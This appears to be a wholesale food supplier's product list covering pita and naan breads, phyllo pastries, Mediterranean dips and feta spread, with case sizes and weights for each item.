### Products Available:

#### White Pita Bread - Year Round

White Pita Bread 10 x 900g cs White, Wholewheat and Multigrain Thick tasty pita bread 6" Authentic village recipe

#### Phyllo Pastry - Year Round

Phyllo Pastry 12 x 185g 18x 100g 48 x 30g - Spinach and feta, Mushroom/Parmesan/White wine Feta Cheese/Sundried Tomato Brie/Mushroom , Cranberry/Brie,Almond/Walnut Baklava, Cranberry/Almond/Walnut Baklava,

#### Naan Bread, French Bread, Pita Bread - Year Round

French bread, Buns, Naan bread 16 x 550g, Souvlaki Pita 16 x 550g, Large White Pita Bread 7" 12 x 550g, X-Lg White Pita bread 9" 12 x 650g

#### Homous and Tzatziki Dips - Year Round

Homous dip (Original, Rst Red Pepper, Rst Garlic, Jalapeno, Artichoke) 4.2kg 2.1kg, Tzatziki dip 4.2kg 2.1kg, Babaganoush 4.2kg 2.1kg, Goat Tzatziki 4.2kg 2.1kg, Spinach Dip 4.2kg 2.1kg

#### Feta Cheese Spread - Year Round

Feta Cheese Spread (Hot Pepper, Dill, Artichoke) 4.2kg and 2.1kg